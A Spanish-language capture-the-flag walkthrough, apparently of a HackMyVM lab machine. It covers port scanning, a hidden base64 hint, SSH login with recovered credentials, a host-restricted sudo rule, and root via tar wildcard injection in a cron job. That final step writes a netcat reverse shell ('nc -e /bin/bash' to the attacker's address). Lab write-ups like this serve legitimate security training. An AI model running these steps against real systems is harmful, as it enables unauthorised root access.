Enumeramos puertos:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.154
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.154
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-27 10:19 -04
Nmap scan report for 192.168.1.154
Host is up (0.00028s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)
| 256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)
|_ 256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Panda
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.69 secondsEl código del sitio contiene varias pistas: un usuario (po, en el name del botón) y una cadena en base64:
<!-- Kung Fu Panda -->
<button class="btn" name="username" disabled="po">Read</button>
crossorigin="S3VuZ19GdV9QNG5kYQ=="❯ echo -n "S3VuZ19GdV9QNG5kYQ==" | base64 -d
Kung_Fu_P4ndaEl formulario tiene un botón deshabilitado; lo activamos desde la consola del navegador:
var boton = document.querySelector('.btn');
boton.removeAttribute("disabled");Introduciendo Kung_Fu_P4nda en el input recibimos una contraseña:
!ts-bl4nkCon el usuario po y esa contraseña entramos por SSH:
❯ ssh po@192.168.1.154
po@192.168.1.154's password: !ts-bl4nk
Linux hostname 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
...
po@hostname:~$Con pspy64 detectamos un cronjob de root que comprime /opt/secret con tar *:
...
2024/04/27 12:53:01 CMD: UID=0 PID=2968 | tar -zcf /var/backups/secret.tgz *
...Revisamos los archivos de sudoers y vemos una entrada peculiar para po (restringida al host HackMyVM):
po@hostname:/etc/sudoers.d$ cat po
po HackMyVM = (oogway) NOPASSWD: /bin/bashLa regla aplica solo en el host HackMyVM. La invocamos especificando ese host con -h:
oogway@hostname:/etc/sudoers.d$ sudo -u oogway -h HackMyVM bash
...
oogway@hostname:/etc/sudoers.d$Obtenemos la flag de usuario. Para escalar a root, abusamos del cronjob tar * con Tar Wildcard Injection (ahora como oogway, que sí puede escribir en /opt/secret):
oogway@hostname:/opt/secret$ touch -- --checkpoint=1
oogway@hostname:/opt/secret$ touch -- "--checkpoint-action=exec=sh pwned"
oogway@hostname:/opt/secret$ echo "nc -e /bin/bash 192.168.1.3 1234" > pwnedEsperamos a que el cron se ejecute y recibimos la shell de root:
❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
id
Ncat: Connection from 192.168.1.154:47316.
uid=0(root) gid=0(root) groups=0(root)Obtenemos nuestra flag.
Fin.